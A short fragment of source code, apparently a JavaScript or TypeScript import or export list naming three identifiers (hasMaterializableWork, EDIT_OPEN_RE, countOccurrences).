   hasMaterializableWork,
   EDIT_OPEN_RE,
   countOccurrences,